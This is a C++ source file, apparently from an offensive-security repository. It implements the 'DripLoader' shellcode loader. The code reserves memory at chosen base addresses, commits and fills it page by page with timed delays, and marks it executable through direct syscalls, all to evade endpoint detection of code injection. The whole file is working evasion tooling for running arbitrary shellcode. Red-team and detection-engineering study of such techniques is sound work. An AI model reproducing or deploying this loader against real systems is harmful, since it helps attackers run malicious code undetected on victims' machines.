Repository navigation
Expand file tree
/
Copy pathdrip.cpp
More file actions
200 lines (174 loc) · 4.32 KB
/
Copy pathdrip.cpp
File metadata and controls
200 lines (174 loc) · 4.32 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
#include <Windows.h>
#include <stdint.h>
#include <vector>
#include "util.h"
#include "syscalls.h"
// Original blog on "DripLoader"
// https://web.archive.org/web/20210608220213/https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection
SIZE_T ALLOC_GRAN = 0x10000;
PVOID baseAddr = nullptr;
PVOID currentBase = nullptr;
std::vector<PVOID> reservedBlocks;
static PVOID checkBaseAddr(PVOID base, SIZE_T shellcodeLength)
{
MEMORY_BASIC_INFORMATION mbi;
SIZE_T numBlocks = (shellcodeLength / ALLOC_GRAN) + 1;
NTSTATUS status = NtQueryVirtualMemory(
CURRENT_PROCESS,
base,
MemoryBasicInformation,
&mbi,
sizeof(MEMORY_BASIC_INFORMATION),
nullptr
);
if (status != 0)
{
DEBUG_LOG("Failed to query virtual memory: 0x%08X\n", status);
return nullptr;
}
Delay(100);
if (MEM_FREE == mbi.State) {
DWORD i;
for (i = 0; i < numBlocks; ++i) {
LPVOID testBase = (void*)((DWORD_PTR)base + (i * ALLOC_GRAN));
status = NtQueryVirtualMemory(
CURRENT_PROCESS,
testBase,
MemoryBasicInformation,
&mbi,
sizeof(MEMORY_BASIC_INFORMATION),
nullptr
);
if (status != 0)
{
DEBUG_LOG("Failed to query virtual memory: 0x%08X\n", status);
break;
}
Delay(100);
if (MEM_FREE != mbi.State)
break;
}
if (i == numBlocks) {
return base;
}
}
return nullptr;
}
static PVOID getSuitableBaseAddress(SIZE_T shellcodeLength)
{
const PVOID candidates[] = {
(PVOID)0x0000000021000000,
(PVOID)0x0000000010000000,
(PVOID)0x0000000050000000,
(PVOID)0x0000000040000000,
};
for (DWORD i = 0; i < 4; i++) {
PVOID testAddr = checkBaseAddr(candidates[i], shellcodeLength);
if (testAddr != nullptr) {
return testAddr;
}
}
return nullptr;
}
static BOOL allocateMemoryForShellcode(SIZE_T shellcodeLength)
{
baseAddr = getSuitableBaseAddress(shellcodeLength);
if (baseAddr == nullptr)
{
DEBUG_LOG("Failed to find a suitable base address\n");
return FALSE;
}
NTSTATUS status;
currentBase = baseAddr;
SIZE_T numBlocks = (shellcodeLength / ALLOC_GRAN) + 1;
for (DWORD i = 0; i < numBlocks; ++i)
{
status = NtAllocateVirtualMemory(
CURRENT_PROCESS,
¤tBase,
0,
&ALLOC_GRAN,
MEM_RESERVE,
PAGE_READWRITE
);
if (status != 0)
{
DEBUG_LOG("Failed to allocate memory for shellcode: 0x%08X\n", status);
return FALSE;
}
Delay(100);
reservedBlocks.push_back(currentBase);
currentBase = (PVOID)((DWORD_PTR)currentBase + ALLOC_GRAN);
}
return TRUE;
}
static BOOL copyShellcode(PUCHAR shellcode, SIZE_T shellcodeLength)
{
SIZE_T pageSize = 0x1000;
SIZE_T numBlocks = (shellcodeLength / ALLOC_GRAN) + 1;
SIZE_T numSegments = ALLOC_GRAN / pageSize;
SIZE_T shellcodeOffset = 0;
for (DWORD i = 0; i < numBlocks; ++i)
{
for (DWORD j = 0; j < numSegments; ++j)
{
currentBase = (PVOID)((DWORD_PTR)reservedBlocks[i] + (j * pageSize));
NTSTATUS status = NtAllocateVirtualMemory(
CURRENT_PROCESS,
¤tBase,
NULL,
&pageSize,
MEM_COMMIT,
PAGE_READWRITE
);
if (status != 0)
{
DEBUG_LOG("Failed to commit memory for shellcode: 0x%08X\n", status);
return FALSE;
}
Delay(60);
if (shellcodeOffset + pageSize > shellcodeLength)
pageSize = shellcodeLength - shellcodeOffset;
if (pageSize == 0)
break;
memcpy(currentBase, &shellcode[shellcodeOffset], pageSize);
shellcodeOffset += pageSize;
ULONG oldProt = 0;
status = NtProtectVirtualMemory(
CURRENT_PROCESS,
¤tBase,
(PULONG)&pageSize,
PAGE_EXECUTE_READ,
&oldProt
);
if (status != 0)
{
DEBUG_LOG("Failed to protect memory for shellcode: 0x%08X\n", status);
return FALSE;
}
}
}
return TRUE;
}
PVOID DripLoader(PUCHAR shellcode, SIZE_T shellcodeLength)
{
SyscallInst = GetSyscallInst();
if (SyscallInst == 0)
{
DEBUG_LOG("Failed to get syscall instruction address\n");
return nullptr;
}
Delay(100);
if (!allocateMemoryForShellcode(shellcodeLength))
{
DEBUG_LOG("Failed to allocate memory for shellcode\n");
return nullptr;
}
Delay(100);
if (!copyShellcode(shellcode, shellcodeLength))
{
DEBUG_LOG("Failed to make shellcode executable\n");
return nullptr;
}
return baseAddr;
}